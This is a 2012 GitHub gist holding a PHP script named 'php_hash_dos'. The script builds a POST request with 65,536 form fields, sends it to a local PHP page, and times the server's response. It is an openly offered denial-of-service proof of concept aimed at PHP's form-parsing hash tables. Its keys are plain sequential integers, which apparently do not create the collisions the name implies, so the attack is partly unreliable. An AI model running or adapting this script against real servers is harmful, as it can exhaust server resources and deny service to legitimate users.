Skip to content

Instantly share code, notes, and snippets.

@ri0day
Created January 5, 2012 02:30
Show Gist options
  • Save ri0day/1563407 to your computer and use it in GitHub Desktop.
Save ri0day/1563407 to your computer and use it in GitHub Desktop.
php_hash_dos
<?php
$size = pow(2, 16);
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key)
{
$post_string = $post_string.$key . '=1' .'&';
}
//echo $post_string, "\n";
//create cURL connection
$curl_connection =
curl_init('http://127.0.0.1/a.php');
//set options
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT,
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
//set data to be posted
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
//perform our request
$startTime = microtime(true);
$result = curl_exec($curl_connection);
$endTime = microtime(true);
echo '恶意表单耗时: ', $endTime - $startTime, ' 秒', "\n";
//show information regarding the request
echo $result, "\n";
//print_r(curl_getinfo($curl_connection));
echo curl_errno($curl_connection) . '-' .
curl_error($curl_connection);
//close the connection
curl_close($curl_connection);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment